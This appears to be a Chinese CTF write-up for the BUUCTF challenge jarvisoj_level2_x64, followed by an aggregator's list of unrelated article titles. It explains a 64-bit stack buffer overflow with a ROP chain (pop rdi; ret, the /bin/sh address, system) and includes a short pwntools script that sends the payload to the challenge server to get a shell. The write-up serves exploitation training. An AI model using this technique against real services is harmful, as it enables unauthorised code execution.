当前位置: 首页 > news >正文

buu-jarvisoj_level2_x64-好久不见37

  1. 覆盖缓冲区和 RBP:
    使用 128 + 8 字节覆盖 bufrbp

  2. 构造 ROP 链:

    • pop rdi; ret 地址:pop rdi; ret 指令的地址写入返回地址位置。

    • /bin/sh 地址:/bin/sh 字符串的地址压入栈顶,作为 system 函数的参数。

    • system 地址:system 函数的地址写入返回地址位置。

  3. 执行流程:

    • 子函数返回到 pop rdi; ret 指令,该指令将 /bin/sh 地址出栈并存入 rdi 寄存器。

    • 然后程序返回到 system 函数,执行 system("/bin/sh")


一句话总结:

通过覆盖缓冲区和 RBP,构造 ROP 链(pop rdi; ret/bin/sh 地址 → system 地址),使程序执行 system("/bin/sh"),从而获取 shell。

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',25669)

payload=b'a'*(0x88)+p64(0x004006b3)+p64(0x00600A90)+p64(0x004004C0)
p.sendline(payload)
p.interactive()
 

相关文章:

  • Ubuntu 上安装 Elasticsearch 7.6.0
  • 计算机毕业设计--基于深度学习技术(Yolov11、v8、v7、v5)算法的高效人脸检测模型设计与实现(含Github代码+Web端在线体验界面)
  • 接入 SSL 认证配置:满足等保最佳实践
  • 神经网络常见激活函数 12-Swish函数
  • 动态规划 之 排列与组合问题
  • SpringBoot(接受参数相关注解)
  • Unity序列化多态数组
  • PyQt6/PySide6 的 QThread 类
  • 18.Python实战:实现年会抽奖系统
  • 计算机网络原理试题二
  • 1317:【例5.2】组合的输出
  • Spring Boot中如何自定义Starter
  • DC-6靶机渗透测试全过程
  • matlab平面波展开法计算的二维声子晶体带隙
  • 代码讲解系列-CV(三)——Transformer系列
  • SQL 建表语句详解
  • (前端基础)HTML(二)
  • 用xml配置spring, bean标签有哪些属性?
  • 机器学习实战(3):线性回归——预测连续变量
  • 小小小病毒(3)(~_~|)
  • 酒店取消订单加价卖何以屡禁不绝?专家建议建立黑名单并在商家页面醒目标注
  • AI智能体,是不是可以慢一点? | ToB产业观察
  • 美国与胡塞武装达成停火协议,美伊相向而行?
  • 公元1057年:千年龙虎榜到底有多厉害?
  • 俄乌互相空袭、莫斯科机场关闭,外交部:当务之急是避免局势紧张升级
  • 联合国秘书长吁印巴“最大程度克制”,特朗普:遗憾,希望尽快结束冲突